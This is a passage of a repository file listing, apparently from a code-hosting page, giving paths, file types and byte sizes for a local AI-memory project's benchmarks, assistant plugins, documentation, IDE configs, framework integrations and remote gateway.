bytesbenchmark/results/exp_governed_latency.jsonasset4,404 bytesbenchmark/run_all.pyruns5,815 bytesbenchmarks/embedder_compare/.gitignoreasset49 bytesbenchmarks/embedder_compare/README.mddoc6,543 bytesbenchmarks/embedder_compare/build_dataset.pyruns16,515 bytesbenchmarks/embedder_compare/candidates.pyruns5,652 bytesbenchmarks/embedder_compare/e2e_daemon.pyruns26,080 bytesbenchmarks/embedder_compare/e2e_media.pyruns20,412 bytesbenchmarks/embedder_compare/e2e_media_checks.pyruns18,862 bytesbenchmarks/embedder_compare/embedders.pyruns8,097 bytesbenchmarks/embedder_compare/fetch_data.shruns2,916 bytesbenchmarks/embedder_compare/fusion.pyruns2,459 bytesbenchmarks/embedder_compare/golden/arxiv_queries.jsonlasset4,716 bytesbenchmarks/embedder_compare/golden/coco_selection.jsonasset4,082 bytesbenchmarks/embedder_compare/golden/locomo_selection.jsonasset5,511 bytesbenchmarks/embedder_compare/golden/media_queries.jsonlasset12,421 bytesbenchmarks/embedder_compare/golden/test_manifest.sha256asset65 bytesbenchmarks/embedder_compare/media_floor.pyruns3,508 bytesbenchmarks/embedder_compare/ocr.pyruns3,245 bytesbenchmarks/embedder_compare/ranking.pyruns1,906 bytesbenchmarks/embedder_compare/report.pyruns16,811 bytesbenchmarks/embedder_compare/requirements-harness.txtdoc247 bytesbenchmarks/embedder_compare/rss.pyruns1,305 bytesbenchmarks/embedder_compare/run_eval.pyruns11,729 bytesbenchmarks/embedder_compare/stats.pyruns6,118 bytesbenchmarks/embedder_compare/synth_images.pyruns13,411 bytesbenchmarks/embedder_compare/synth_pdfs.pyruns4,445 bytesbenchmarks/embedder_compare/synth_visual.pyruns3,788 bytesbenchmarks/embedder_compare/tests/conftest.pyruns990 bytesbenchmarks/embedder_compare/tests/fixtures/fake_locomo.jsonasset7,057 bytesbenchmarks/embedder_compare/tests/test_build.pyruns5,605 bytesbenchmarks/embedder_compare/tests/test_build_arxiv.pyruns2,676 bytesbenchmarks/embedder_compare/tests/test_candidates.pyruns7,947 bytesbenchmarks/embedder_compare/tests/test_e2e.pyruns6,174 bytesbenchmarks/embedder_compare/tests/test_e2e_media.pyruns11,048 bytesbenchmarks/embedder_compare/tests/test_pipeline.pyruns8,731 bytesbenchmarks/embedder_compare/tests/test_stats.pyruns6,405 bytesbenchmarks/embedder_compare/text_scale.pyruns5,706 bytesbenchmarks/embedder_compare/worker.pyruns2,812 bytesbenchmarks/resource_lifecycle/README.mddoc1,305 bytesbenchmarks/resource_lifecycle/RESULTS.jsonasset3,272 bytesbenchmarks/resource_lifecycle/RESULTS.mddoc1,839 bytesbenchmarks/resource_lifecycle/__init__.pyruns66 bytesbenchmarks/resource_lifecycle/harness.pyruns19,413 bytesbenchmarks/resource_lifecycle/run_benchmark.pyruns1,599 bytesbin/slmruns3,007 bytesbin/slm-npmruns1,930 bytesbin/slm.batruns3,352 bytesbin/slm.cmdruns170 bytescodex-plugin/.claude-plugin/plugin.jsonasset551 bytescodex-plugin/.codex-plugin/plugin.jsonasset1,636 bytescodex-plugin/.codex/config.tomlasset1,628 bytescodex-plugin/.mcp.jsonasset516 bytescodex-plugin/AGENTS.mddoc18,893 bytescodex-plugin/README.mddoc8,412 bytescodex-plugin/_GENERATED.mddoc1,802 bytescodex-plugin/agents/slm-governance-advisor.mddoc7,865 bytescodex-plugin/agents/slm-loop-runner.mddoc3,852 bytescodex-plugin/agents/slm-memory-advisor.mddoc8,279 bytescodex-plugin/agents/slm-optimize-advisor.mddoc3,072 bytescodex-plugin/assets/icon.svgasset1,835 bytescodex-plugin/commands/slm-loop.mddoc1,839 bytescodex-plugin/hooks/hooks.jsonasset1,216 bytescodex-plugin/scripts/ensure-venv.batruns3,985 bytescodex-plugin/scripts/ensure-venv.shruns4,037 bytescodex-plugin/scripts/slm-launchruns2,466 bytescodex-plugin/scripts/slm-launch.batruns1,132 bytesconftest.pyruns5,478 bytescopilot-plugin/.github/agents/slm-governance-advisor.agent.mddoc7,898 bytescopilot-plugin/.github/agents/slm-loop-runner.agent.mddoc3,885 bytescopilot-plugin/.github/agents/slm-memory-advisor.agent.mddoc8,312 bytescopilot-plugin/.github/agents/slm-optimize-advisor.agent.mddoc3,105 bytescopilot-plugin/.github/copilot-instructions.mddoc5,673 bytescopilot-plugin/.github/hooks/slm-hooks.jsonasset971 bytescopilot-plugin/.github/prompts/slm-bot-memory.prompt.mddoc8,785 bytescopilot-plugin/.github/prompts/slm-cache.prompt.mddoc6,271 bytescopilot-plugin/.github/prompts/slm-compress.prompt.mddoc6,150 bytescopilot-plugin/.github/prompts/slm-getting-started-bot.prompt.mddoc9,273 bytescopilot-plugin/.github/prompts/slm-governance.prompt.mddoc11,863 bytescopilot-plugin/.github/prompts/slm-graph.prompt.mddoc11,548 bytescopilot-plugin/.github/prompts/slm-loop.prompt.mddoc9,274 bytescopilot-plugin/.github/prompts/slm-media.prompt.mddoc14,959 bytescopilot-plugin/.github/prompts/slm-mesh.prompt.mddoc14,124 bytescopilot-plugin/.github/prompts/slm-profile.prompt.mddoc7,943 bytescopilot-plugin/.github/prompts/slm-recall.prompt.mddoc25,071 bytescopilot-plugin/.github/prompts/slm-remember.prompt.mddoc15,409 bytescopilot-plugin/.github/prompts/slm-scope.prompt.mddoc5,923 bytescopilot-plugin/.github/prompts/slm-session.prompt.mddoc11,263 bytescopilot-plugin/.github/prompts/slm-status.prompt.mddoc12,244 bytescopilot-plugin/.github/prompts/slm-web-access.prompt.mddoc9,789 bytescopilot-plugin/.vscode/mcp.jsonasset140 bytescopilot-plugin/README.mddoc1,677 bytescopilot-plugin/_GENERATED.mddoc2,001 bytescopilot-plugin/scripts/ensure-venv.batruns4,633 bytescopilot-plugin/scripts/ensure-venv.shruns7,465 bytescopilot-plugin/scripts/slm-launchruns9,226 bytescopilot-plugin/scripts/slm-launch.batruns1,510 bytescopilot-plugin/scripts/slm-resolve.shruns4,944 bytescopilot-plugin/scripts/slm-runruns3,047 bytescopilot-plugin/scripts/torch-cpu-resolve.shruns3,363 bytescursor-plugin/.cursor-plugin/plugin.jsonasset667 bytescursor-plugin/LICENSEasset1,233 bytescursor-plugin/assets/logo.svgasset1,835 bytescursor-plugin/mcp.cursor.jsonasset494 bytesdocs/.gitattributesasset205 bytesdocs/ARCHITECTURE.mddoc16,626 bytesdocs/DASHBOARD-COVERAGE.mddoc5,888 bytesdocs/QUICK_PROOF.mddoc1,144 bytesdocs/RELEASE-CHECKLIST.mddoc1,732 bytesdocs/SECURITY-encryption-at-rest.mddoc7,016 bytesdocs/answer-check.mddoc26,874 bytesdocs/api-reference.mddoc6,362 bytesdocs/archive/cozo-store-compatibility.mddoc1,394 bytesdocs/archive/migration-from-v2.mddoc9,283 bytesdocs/assets/gifs/entities.gifasset306,086 bytesdocs/assets/gifs/knowledge-graph.gifasset2,486,470 bytesdocs/assets/gifs/memory-health.gifasset111,104 bytesdocs/assets/gifs/recall-tiers.gifasset256,982 bytesdocs/assets/slm-architecture.pngasset781,693 bytesdocs/assets/slm-architecture.svgasset24,548 bytesdocs/assets/slm-pipeline.svgasset13,993 bytesdocs/assets/slm-v37-capability-architecture.pngasset1,776,109 bytesdocs/auth-write-gate.mddoc8,244 bytesdocs/auto-memory.mddoc10,339 bytesdocs/benchmarks.mddoc2,277 bytesdocs/bounded-loops-bridge.mddoc11,179 bytesdocs/cli-reference.mddoc59,924 bytesdocs/cloud-backup.mddoc19,826 bytesdocs/company-mode.mddoc8,529 bytesdocs/compliance.mddoc10,061 bytesdocs/configuration.mddoc20,834 bytesdocs/deployment-tiers.mddoc4,974 bytesdocs/distributed-deployment.mddoc28,478 bytesdocs/errors.mddoc7,301 bytesdocs/framework-adapters.mddoc11,203 bytesdocs/getting-started.mddoc11,766 bytesdocs/hermes.mddoc6,322 bytesdocs/host-upgrades.mddoc2,867 bytesdocs/ide-setup.mddoc13,854 bytesdocs/install-linux.mddoc3,467 bytesdocs/mcp-tools.mddoc34,783 bytesdocs/memory-health.mddoc6,322 bytesdocs/memory-kinds.mddoc4,609 bytesdocs/multi-machine.mddoc6,300 bytesdocs/opencode.mddoc1,635 bytesdocs/optimize-cli.mddoc7,549 bytesdocs/optimize-config.mddoc9,766 bytesdocs/optimize-overview.mddoc14,071 bytesdocs/optimize-per-agent.mddoc2,680 bytesdocs/pi-dev-integration.mddoc788 bytesdocs/pictures-and-documents.mddoc5,976 bytesdocs/plugins.mddoc16,714 bytesdocs/privacy-diagnostics.mddoc1,799 bytesdocs/profiles.mddoc4,070 bytesdocs/proxy-setup.mddoc14,697 bytesdocs/rbac-teams.mddoc8,755 bytesdocs/recall.mddoc13,801 bytesdocs/release-distribution.mddoc4,889 bytesdocs/remote-access/README.mddoc5,371 bytesdocs/remote-access/acceptance.mddoc2,448 bytesdocs/remote-access/architecture-preview.htmlasset33,078 bytesdocs/remote-access/architecture.mddoc5,013 bytesdocs/remote-access/assets/remote-gateway-boundaries.pngasset248,657 bytesdocs/remote-access/assets/remote-gateway-boundaries.svgasset8,031 bytesdocs/remote-access/assets/slm-integrated-architecture.pngasset449,864 bytesdocs/remote-access/assets/slm-integrated-architecture.svgasset16,871 bytesdocs/remote-access/assets/slm-local-and-remote-mobile.pngasset171,315 bytesdocs/remote-access/assets/slm-local-and-remote-mobile.svgasset5,686 bytesdocs/remote-access/assets/slm-local-and-remote.pngasset217,381 bytesdocs/remote-access/assets/slm-local-and-remote.svgasset6,768 bytesdocs/remote-access/cloudflare-operations.mddoc8,326 bytesdocs/remote-access/cloudflare-pilot.mddoc139 bytesdocs/remote-access/hosts.mddoc15,318 bytesdocs/remote-access/onboarding.mddoc4,863 bytesdocs/restore-points.mddoc4,533 bytesdocs/retrieval-score-contract.mddoc7,091 bytesdocs/reviewed-corrections.mddoc2,825 bytesdocs/scale-engine.mddoc6,463 bytesdocs/screenshots/01-dashboard-main.pngasset173,524 bytesdocs/screenshots/02-knowledge-graph.pngasset402,248 bytesdocs/screenshots/03-math-health.pngasset55,223 bytesdocs/screenshots/03-patterns-learning.pngasset176,401 bytesdocs/screenshots/04-learning-dashboard.pngasset556,301 bytesdocs/screenshots/04-recall-lab.pngasset55,816 bytesdocs/screenshots/05-behavioral-analysis.pngasset584,365 bytesdocs/screenshots/05-trust-dashboard.pngasset100,392 bytesdocs/screenshots/06-graph-communities.pngasset110,478 bytesdocs/screenshots/06-settings.pngasset91,585 bytesdocs/screenshots/07-memories-blurred.pngasset276,422 bytesdocs/screenshots/dashboard/answer-check-answered.pngasset423,251 bytesdocs/screenshots/dashboard/answer-check-dont-have-that.pngasset428,293 bytesdocs/screenshots/dashboard/connected-apps.pngasset219,545 bytesdocs/screenshots/dashboard/memories-kinds-projects.pngasset460,059 bytesdocs/screenshots/dashboard/recall-lab.pngasset428,900 bytesdocs/screenshots/dashboard/saved-views.pngasset497,038 bytesdocs/security/dependency-audit-exceptions.mddoc1,998 bytesdocs/shared-memory.mddoc4,412 bytesdocs/skill-evolution.mddoc14,952 bytesdocs/troubleshooting.mddoc15,084 bytesdocs/web-agents/README.mddoc3,993 bytesdocs/web-agents/instructions.mddoc9,602 bytesdocs/web-agents/setup-prompt.mddoc10,766 bytesdocs/wiki-diagrams/access-decision.mmdasset1,171 bytesdocs/wiki-diagrams/architecture.mmdasset1,283 bytesdocs/wiki-diagrams/check-wiki.pyruns5,127 bytesdocs/wiki-diagrams/folder-reconcile.mmdasset936 bytesdocs/wiki-diagrams/memory-lifecycle.mmdasset745 bytesdocs/wiki-diagrams/mermaid.config.jsonasset860 bytesdocs/wiki-diagrams/mesh-web-to-local.mmdasset889 bytesdocs/wiki-diagrams/pdf-pipeline.mmdasset999 bytesdocs/wiki-diagrams/picture-save.mmdasset903 bytesdocs/wiki-diagrams/privacy-map.mmdasset851 bytesdocs/wiki-diagrams/recall-flow.mmdasset1,120 bytesdocs/wiki-diagrams/remember-sequence.mmdasset1,036 bytesdocs/wiki-diagrams/render.shruns516 bytesdocs/wiki-diagrams/upload-link.mmdasset826 bytesexamples/langchain_example.pyruns8,908 bytesexamples/llamaindex_example.pyruns12,582 byteshermes-plugin/README.mddoc1,712 byteshermes-plugin/_GENERATED.mddoc135 byteshermes-plugin/__init__.pyruns23,958 byteshermes-plugin/agents/slm-governance-advisor.mddoc7,865 byteshermes-plugin/agents/slm-loop-runner.mddoc3,852 byteshermes-plugin/agents/slm-memory-advisor.mddoc8,279 byteshermes-plugin/agents/slm-optimize-advisor.mddoc3,072 byteshermes-plugin/command-inventory.jsonasset1,548 byteshermes-plugin/plugin.yamlasset1,263 byteshermes-plugin/remote.pyruns16,324 byteside/completions/slm.bashruns1,622 byteside/completions/slm.zshruns1,964 byteside/configs/antigravity-mcp.jsonasset214 byteside/configs/chatgpt-desktop-mcp.jsonasset1,095 byteside/configs/claude-desktop-mcp.jsonasset226 byteside/configs/codex-mcp.tomlasset445 byteside/configs/cody-commands.jsonasset896 byteside/configs/continue-mcp.yamlasset271 byteside/configs/continue-skills.yamlasset880 byteside/configs/copilot-cli-mcp.jsonasset243 byteside/configs/cursor-mcp.jsonasset317 byteside/configs/gemini-cli-mcp.jsonasset186 byteside/configs/grok-cli-mcp.tomlasset303 byteside/configs/jetbrains-mcp.jsonasset186 byteside/configs/kimi-cli-mcp.jsonasset120 byteside/configs/kimi-code-mcp.jsonasset120 byteside/configs/kiro-mcp.jsonasset120 byteside/configs/muse-mcp.jsonasset247 byteside/configs/openclaw-mcp.jsonasset213 byteside/configs/opencode-mcp.jsonasset154 byteside/configs/perplexity-mcp.jsonasset121 byteside/configs/qwen-code-mcp.jsonasset120 byteside/configs/vscode-copilot-mcp.jsonasset139 byteside/configs/windsurf-mcp.jsonasset226 byteside/configs/zed-mcp.jsonasset150 byteside/hooks/context-hook.jsruns1,909 byteside/hooks/memory-list-skill.jsruns1,732 byteside/hooks/memory-profile-skill.jsruns2,725 byteside/hooks/memory-recall-skill.jsruns1,534 byteside/hooks/memory-remember-skill.jsruns1,859 byteside/hooks/memory-reset-skill.jsruns3,959 byteside/hooks/post-recall-hook.jsruns1,790 byteside/hooks/tool-event-hook.shruns4,604 byteside/integration-compatibility-evidence.jsonasset42,194 byteside/integration-contracts.jsonasset15,156 byteside/integrations/_engine_bridge.pyruns6,974 byteside/integrations/agent-framework/README.mddoc3,299 byteside/integrations/agent-framework/agent_framework_superlocalmemory/__init__.pyruns377 byteside/integrations/agent-framework/agent_framework_superlocalmemory/_v3_message_store.pyruns5,499 byteside/integrations/agent-framework/agent_framework_superlocalmemory/providers.pyruns5,807 byteside/integrations/agent-framework/pyproject.tomlasset1,260 byteside/integrations/agent-framework/tests/__init__.pyruns0 byteside/integrations/agent-framework/tests/conftest.pyruns912 byteside/integrations/agent-framework/tests/test_message_store.pyruns2,204 byteside/integrations/agent-framework/tests/test_providers.pyruns1,559 byteside/integrations/autogen/README.mddoc3,466 byteside/integrations/autogen/autogen_superlocalmemory/__init__.pyruns256 byteside/integrations/autogen/autogen_superlocalmemory/_v3_autogen_store.pyruns9,144 byteside/integrations/autogen/autogen_superlocalmemory/memory.pyruns6,266 byteside/integrations/autogen/pyproject.tomlasset1,214 byteside/integrations/autogen/tests/__init__.pyruns0 byteside/integrations/autogen/tests/conftest.pyruns990 byteside/integrations/autogen/tests/test_autogen_store.pyruns5,087 byteside/integrations/autogen/tests/test_memory.pyruns1,568 byteside/integrations/crewai/README.mddoc3,457 byteside/integrations/crewai/crewai_superlocalmemory/__init__.pyruns258 byteside/integrations/crewai/crewai_superlocalmemory/_v3_crewai_store.pyruns15,734 byteside/integrations/crewai/crewai_superlocalmemory/backend.pyruns8,539 byteside/integrations/crewai/hatch_build.pyruns857 byteside/integrations/crewai/pyproject.tomlasset1,530 byteside/integrations/crewai/tests/__init__.pyruns0 byteside/integrations/crewai/tests/conftest.pyruns974 byteside/integrations/crewai/tests/test_backend.pyruns1,065 byteside/integrations/crewai/tests/test_crewai_store.pyruns13,339 byteside/integrations/google-adk/README.mddoc3,630 byteside/integrations/google-adk/google_adk_superlocalmemory/__init__.pyruns269 byteside/integrations/google-adk/google_adk_superlocalmemory/_v3_adk_store.pyruns14,096 byteside/integrations/google-adk/google_adk_superlocalmemory/memory_service.pyruns6,536 byteside/integrations/google-adk/hatch_build.pyruns857 byteside/integrations/google-adk/pyproject.tomlasset1,545 byteside/integrations/google-adk/tests/__init__.pyruns0 byteside/integrations/google-adk/tests/conftest.pyruns1,007 byteside/integrations/google-adk/tests/test_adk_store.pyruns3,847 byteside/integrations/google-adk/tests/test_memory_service.pyruns3,422 byteside/integrations/google-adk/tests/test_security.pyruns3,763 byteside/integrations/langchain/README.mddoc3,991 byteside/integrations/langchain/langchain_superlocalmemory/__init__.pyruns305 byteside/integrations/langchain/langchain_superlocalmemory/_v3_store.pyruns5,001 byteside/integrations/langchain/langchain_superlocalmemory/chat_message_history.pyruns6,452 byteside/integrations/langchain/pyproject.tomlasset1,259 byteside/integrations/langchain/tests/__init__.pyruns129 byteside/integrations/langchain/tests/test_chat_message_history.pyruns8,900 byteside/integrations/langchain/tests/test_security.pyruns4,760 byteside/integrations/langgraph/README.mddoc3,550 byteside/integrations/langgraph/langgraph_superlocalmemory/__init__.pyruns255 byteside/integrations/langgraph/langgraph_superlocalmemory/_v3_kv_store.pyruns9,698 byteside/integrations/langgraph/langgraph_superlocalmemory/store.pyruns5,339 byteside/integrations/langgraph/pyproject.tomlasset1,203 byteside/integrations/langgraph/tests/__init__.pyruns0 byteside/integrations/langgraph/tests/conftest.pyruns1,045 byteside/integrations/langgraph/tests/test_kv_store.pyruns4,383 byteside/integrations/langgraph/tests/test_security.pyruns1,687 byteside/integrations/langgraph/tests/test_store.pyruns2,184 byteside/integrations/llamaindex/README.mddoc3,594 byteside/integrations/llamaindex/llama_index/storage/chat_store/superlocalmemory/__init__.pyruns292 byteside/integrations/llamaindex/llama_index/storage/chat_store/superlocalmemory/_v3_store.pyruns4,839 byteside/integrations/llamaindex/llama_index/storage/chat_store/superlocalmemory/base.pyruns10,401 byteside/integrations/llamaindex/pyproject.tomlasset1,343 byteside/integrations/llamaindex/tests/__init__.pyruns129 byteside/integrations/llamaindex/tests/test_chat_store.pyruns11,961 byteside/integrations/llamaindex/tests/test_security.pyruns8,658 byteside/integrations/openai-agents/README.mddoc3,203 byteside/integrations/openai-agents/openai_agents_superlocalmemory/__init__.pyruns239 byteside/integrations/openai-agents/openai_agents_superlocalmemory/_v3_session_store.pyruns13,703 byteside/integrations/openai-agents/openai_agents_superlocalmemory/session.pyruns4,374 byteside/integrations/openai-agents/pyproject.tomlasset1,212 byteside/integrations/openai-agents/tests/__init__.pyruns0 byteside/integrations/openai-agents/tests/conftest.pyruns1,036 byteside/integrations/openai-agents/tests/test_security.pyruns3,640 byteside/integrations/openai-agents/tests/test_session.pyruns2,865 byteside/integrations/openai-agents/tests/test_session_store.pyruns5,513 byteside/integrations/semantic-kernel/README.mddoc3,405 byteside/integrations/semantic-kernel/hatch_build.pyruns857 byteside/integrations/semantic-kernel/pyproject.tomlasset1,606 byteside/integrations/semantic-kernel/semantic_kernel_superlocalmemory/__init__.pyruns349 byteside/integrations/semantic-kernel/semantic_kernel_superlocalmemory/_v3_record_store.pyruns10,058 byteside/integrations/semantic-kernel/semantic_kernel_superlocalmemory/collection.pyruns8,638 byteside/integrations/semantic-kernel/tests/__init__.pyruns0 byteside/integrations/semantic-kernel/tests/conftest.pyruns945 byteside/integrations/semantic-kernel/tests/test_collection.pyruns1,630 byteside/integrations/semantic-kernel/tests/test_record_store.pyruns3,031 bytesintegrations/__init__.pyruns351 bytesintegrations/crewai_memory.pyruns3,009 bytesintegrations/langchain_memory.pyruns4,819 bytesintegrations/remote-gateway/.gitignoreasset24 bytesintegrations/remote-gateway/README.mddoc8,053 bytesintegrations/remote-gateway/evidence/dashboard-red.jsonasset395 bytesintegrations/remote-gateway/evidence/enrollment-dashboard-green.jsonasset2,161 bytesintegrations/remote-gateway/evidence/enrollment-wip.jsonasset626 bytesintegrations/remote-gateway/evidence/green.jsonasset1,263 bytesintegrations/remote-gateway/evidence/local-connector-green.jsonasset961 bytesintegrations/remote-gateway/evidence/red.jsonasset570 bytesintegrations/remote-gateway/evidence/relay-green.jsonasset1,043 bytesintegrations/remote-gateway/evidence/relay-red.jsonasset266 bytesintegrations/remote-gateway/evidence/runtime-dashboard-green.jsonasset1,917 bytesintegrations/remote-gateway/evidence/runtime-red.jsonasset390 bytesintegrations/remote-gateway/package-lock.jsonasset134,454 bytesintegrations/remote-gateway/package.jsonruns892 bytesintegrations/remote-gateway/src/anonymous-admission.tsruns1,280 bytesintegrations/remote-gateway/src/auth-flow.tsruns12,319 bytesintegrations/remote-gateway/src/authorization-body.tsruns1,191 bytesintegrations/remote-gateway/src/authorization-policy.tsruns3,646 bytesintegrations/remote-gateway/src/authorization-server.tsruns4,472 bytesintegrations/remote-gateway/src/bootstrap-do.tsruns5,716 bytesintegrations/remote-gateway/src/connector-supervisor.tsruns6,598 bytesintegrations/remote-gateway/src/contracts.tsruns3,168 bytesintegrations/remote-gateway/src/credential-lifetime.tsruns632 bytesintegrations/remote-gateway/src/device-index-do.tsruns3,448 bytesintegrations/remote-gateway/src/device-proof.tsruns2,543 bytesintegrations/remote-gateway/src/enrollment.tsruns5,756 bytesintegrations/remote-gateway/src/grant.tsruns3,782 bytesintegrations/remote-gateway/src/issued-token-protocol.tsruns3,073 bytesintegrations/remote-gateway/src/issuer-protocol.tsruns5,711 bytesintegrations/remote-gateway/src/local-connector.tsruns7,991 bytesintegrations/remote-gateway/src/mcp-http.tsruns10,959 bytesintegrations/remote-gateway/src/node-connector.mjsruns467 bytesintegrations/remote-gateway/src/owner-control.tsruns16,752 bytesintegrations/remote-gateway/src/owner-index-do.tsruns9,409 bytesintegrations/remote-gateway/src/owner-selection.tsruns1,953 bytesintegrations/remote-gateway/src/provider-cleanup.tsruns1,485 bytesintegrations/remote-gateway/src/prune-owner-connections.tsruns2,397 bytesintegrations/remote-gateway/src/registry-do.tsruns15,506 bytesintegrations/remote-gateway/src/relay-do.tsruns17,220 bytesintegrations/remote-gateway/src/relay-errors.tsruns753 bytesintegrations/remote-gateway/src/relay-protocol.tsruns7,353 bytesintegrations/remote-gateway/src/request-policy.tsruns7,070 bytesintegrations/remote-gateway/src/token-index-do.tsruns3,366 bytesintegrations/remote-gateway/src/upload-gateway.tsruns10,118 bytesintegrations/remote-gateway/src/upload-page.tsruns5,381 bytesintegrations/remote-gateway/src/upload-protocol.tsruns7,133 bytesintegrations/remote-gateway/src/usage-limit.tsruns314 bytesintegrations/remote-gateway/src/worker-auth.tsruns18,882 bytesintegrations/remote-gateway/src/worker-authority.tsruns420 bytesintegrations/remote-gateway/src/worker-connect.tsruns2,779 bytesintegrations/remote-gateway/src/worker-resource.tsruns6,415 bytesintegrations/remote-gateway/tests/auth-flow.test.mjsruns3,861 bytesintegrations/remote-gateway/tests/authorization-policy.test.mjsruns5,151 bytesintegrations/remote-gateway/tests/bounded-authorization-body.test.mjsruns1,069 bytesintegrations/remote-gateway/tests/connector-supervisor.test.mjsruns8,266 bytesintegrations/remote-gateway/tests/connector-wire.test.mjsruns3,433 bytesintegrations/remote-gateway/tests/credential-lifetime.test.mjsruns651 bytesintegrations/remote-gateway/tests/dashboard-connections.test.mjsruns30,707 bytesintegrations/remote-gateway/tests/device-proof.test.mjsruns2,092 bytesintegrations/remote-gateway/tests/enrollment.test.mjsruns7,180 bytesintegrations/remote-gateway/tests/fixtures/dashboard-preview.mjsruns2,176 bytesintegrations/remote-gateway/tests/grant.test.mjsruns4,569 bytesintegrations/remote-gateway/tests/issued-token-protocol.test.mjsruns1,602 bytesintegrations/remote-gateway/tests/local-connector.test.mjsruns10,226 bytesintegrations/remote-gateway/tests/mcp-http.test.mjsruns5,624 bytesintegrations/remote-gateway/tests/owner-profile-cleanup.test.mjsruns4,162 bytesintegrations/remote-gateway/tests/owner-selection.test.mjsruns1,468 bytesintegrations/remote-gateway/tests/policy.test.mjsruns16,923 bytesintegrations/remote-gateway/tests/provider-cleanup.test.mjsruns1,376 bytesintegrations/remote-gateway/tests/relay-errors.test.mjsruns1,032 bytesintegrations/remote-gateway/tests/relay-protocol.test.mjsruns10,205 bytesintegrations/remote-gateway/tests/runtime/auth-worker.test.tsruns12,147 bytesintegrations/remote-gateway/tests/runtime/authorization-server.test.tsruns2,282 bytesintegrations/remote-gateway/tests/runtime/connect-worker.test.tsruns5,382 bytesintegrations/remote-gateway/tests/runtime/credential-renewal.test.tsruns9,109 bytesintegrations/remote-gateway/tests/runtime/device-index.test.tsruns1,683 bytesintegrations/remote-gateway/tests/runtime/env.d.tsruns909 bytesintegrations/remote-gateway/tests/runtime/fixture-worker.tsruns1,106 bytesintegrations/remote-gateway/tests/runtime/github-fetch.test.tsruns1,084 bytesintegrations/remote-gateway/tests/runtime/grant-key.test.tsruns5,685 bytesintegrations/remote-gateway/tests/runtime/native-enrollment.test.tsruns9,774 bytesintegrations/remote-gateway/tests/runtime/native-fixture.tsruns5,631 bytesintegrations/remote-gateway/tests/runtime/oauth-roundtrip.test.tsruns11,578 bytesintegrations/remote-gateway/tests/runtime/owner-bootstrap.test.tsruns8,035 bytesintegrations/remote-gateway/tests/runtime/owner-control.test.tsruns1,046 bytesintegrations/remote-gateway/tests/runtime/registry-mesh.test.tsruns7,199 bytesintegrations/remote-gateway/tests/runtime/registry.test.tsruns9,315 bytesintegrations/remote-gateway/tests/runtime/relay-do.test.tsruns11,501 bytesintegrations/remote-gateway/tests/runtime/relay-grant.test.tsruns15,851 bytesintegrations/remote-gateway/tests/runtime/relay-silence.test.tsruns4,338 bytesintegrations/remote-gateway/tests/runtime/resource-grant.test.tsruns7,552 bytesintegrations/remote-gateway/tests/runtime/resource.test.tsruns8,376 bytesintegrations/remote-gateway/tests/runtime/token-index.test.tsruns2,578 bytesintegrations/remote-gateway/tests/runtime/upload-consent.test.tsruns7,769 bytesintegrations/remote-gateway/tests/runtime/upload-link.test.tsruns8,128 bytesintegrations/remote-gateway/tests/upload-gateway.test.mjsruns17,826 bytesintegrations/remote-gateway/tests/upload-page.test.mjsruns8,193 bytesintegrations/remote-gateway/tests/upload-protocol.test.mjsruns6,677 bytesintegrations/remote-gateway/tests/usage-limit.test.mjsruns444 bytesintegrations/remote-gateway/tsconfig.jsonasset302 bytesintegrations/remote-gateway/tsconfig.runtime-tests.jsonasset256 bytesintegrations/remote-gateway/tsconfig.worker.jsonasset235 bytesintegrations/remote-gateway/vitest.runtime.config.mtsruns1,583 bytesintegrations/remote-gateway/wrangler.auth.jsoncasset1,670 bytesintegrations/remote-gateway/wrangler.authority.jsoncasset1,261 bytesintegrations/remote-gateway/wrangler.connect.jsoncasset804 bytesintegrations/remote-gateway/wrangler.mcp.jsoncasset1,074 bytesllms.txtdoc2,304 bytesmuse-plugin/.claude-plugin/icon.pngasset153,511 bytesmuse-plugin/.claude-plugin/plugin.jsonasset965 bytesmuse-plugin/LICENSEasset34,565 bytesmuse-plugin/README.mddoc2,271 bytesmuse-plugin/_GENERATED.mddoc124 bytesmuse-plugin/agents/slm-governance-advisor.mddoc7,980 bytesmuse-plugin/agents/slm-loop-runner.mddoc3,967 bytesmuse-plugin/agents/slm-memory-advisor.mddoc8,440 bytesmuse-plugin/agents/slm-optimize-advisor.mddoc3,187 bytesmuse-plugin/commands/slm-loop.mddoc1,839 bytesmuse-plugin/hooks/hooks.jsonasset2,431 bytesmuse-plugin/requirements-cpu-torch.txtdoc648 bytesmuse-plugin/requirements.txtdoc25 bytesmuse-plugin/scripts/ensure-venv.batruns4,633 bytesmuse-plugin/scripts/ensure-venv.shruns7,465 bytesmuse-plugin/scripts/slm-launchruns9,226 bytesmuse-plugin/scripts/slm-launch.batruns1,510 bytesmuse-plugin/scripts/slm-resolve.shruns4,944 bytesmuse-plugin/scripts/slm-runruns3,047 bytesmuse-plugin/scripts/torch-cpu-resolve.shruns3,363 bytespackage-lock.jsonasset27,841 bytespackage.jsonruns3,646 bytesplugin-src/.mcp.jsonasset522 bytesplugin-src/MCP_JSON_NOTES.mddoc4,931 bytesplugin-src/agents/slm-governance-advisor.mddoc7,865 bytesplugin-src/agents/slm-loop-runner.mddoc3,852 bytesplugin-src/agents/slm-memory-advisor.mddoc8,279 bytesplugin-src/agents/slm-optimize-advisor.mddoc3,072 bytesplugin-src/commands/slm-loop.mddoc1,839 bytesplugin-src/docs/README.mddoc2,271 bytesplugin-src/hermes/README.mddoc1,712 bytesplugin-src/hermes/__init__.pyruns23,958 bytesplugin-src/hermes/command-inventory.jsonasset1,548 bytesplugin-src/hermes/plugin.yamlasset1,263 bytesplugin-src/hermes/remote.pyruns16,324 bytesplugin-src/hooks/.gitkeepasset0 bytesplugin-src/hooks/hooks.jsonasset2,425 bytesplugin-src/manifest.jsonasset1,821 bytesplugin-src/requirements-cpu-torch.txtdoc648 bytesplugin-src/requirements.txtdoc25 bytesplugin-src/rules/AGENTS.mddoc18,899 bytesplugin-src/rules/CLAUDE.md.fragmentasset5,525 bytesplugin-src/scripts/ensure-venv.batruns4,633 bytesplugin-src/scripts/ensure-venv.shruns7,465 bytesplugin-src/scripts/slm-launchruns9,262 bytesplugin-src/scripts/slm-launch.batruns1,510 bytesplugin-src/scripts/slm-resolve.shruns4,944 bytesplugin-src/scripts/slm-runruns3,047 bytesplugin-src/scripts/torch-cpu-resolve.shruns3,363 bytesplugin-src/settings.jsonasset886 bytesplugin/.claude-plugin/icon.pngasset153,511 bytesplugin/.claude-plugin/plugin.jsonasset1,075 bytesplugin/.mcp.jsonasset522 bytesplugin/LICENSEasset34,565 bytesplugin/README.mddoc2,271 bytesplugin/_GENERATED.mddoc289 